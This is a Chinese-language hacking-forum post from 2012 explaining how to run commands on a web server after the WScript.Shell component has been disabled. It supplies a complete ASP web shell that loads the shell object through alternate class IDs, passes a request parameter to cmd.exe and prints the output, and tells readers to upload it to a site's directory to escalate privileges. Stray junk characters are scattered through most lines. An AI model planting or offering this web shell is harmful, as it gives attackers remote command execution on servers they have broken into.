找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2501|回复: 0
打印 上一主题 下一主题

wscript.shell删除解决办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:36:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。. t- A' V6 M! m* r# l- ^
一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
3 A5 \$ C) [, T要想让运行命令可以试试这种方法,成功率为五五之数。
/ E! I( U  C9 e1 H把下面代码复制:5 D2 B( i/ m$ m2 f& v8 B1 w5 ?
<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>. c2 }/ O/ o+ k6 w5 e/ e
<%if err then%>
* J/ ?" |6 S( z: q<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
: j8 }* v* W3 N5 d0 r; @<%
& P: Q/ ~2 `3 a1 k3 g( Z, Yend if) }6 }1 w4 i5 P0 x) K
response.write("<textarea readonly cols=80 rows=20>")- s9 p% Q& F, U# {
On Error Resume Next
6 ~  \# S+ y6 W9 k7 o" nresponse.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall
6 K# M' x+ }4 s5 D$ m4 T6 `, Jresponse.write("</textarea>")& v) T! D4 e! r* ^, c
response.write("<form method='post'>")
6 `5 R# m3 e, i% x( a& T% P1 z; aresponse.write("<input type=text name='c' size=60><br>")6 t9 g& U4 M0 ]- j/ C
response.write("<input type=submit value='执行'></form>")
" e9 y" a8 Y/ K/ E%>
; x& W- P  N( {* x, H* \9 u7 d/ o# K* V9 U' d! V
保存为一个asp文件,然后传到网站目录上去
% X/ ^6 c9 }3 F" C2 n# o# m1 X运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
+ Z- J' U7 k/ J5 N  Y5 ?, \我用此成功运行过cacls命令。
2 f* N' J/ i9 Q* z: [1 B' W& t& Y! q9 e, l6 @& B+ v- A0 u
第二那就是运行时出错,可能限制某些代码执行
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表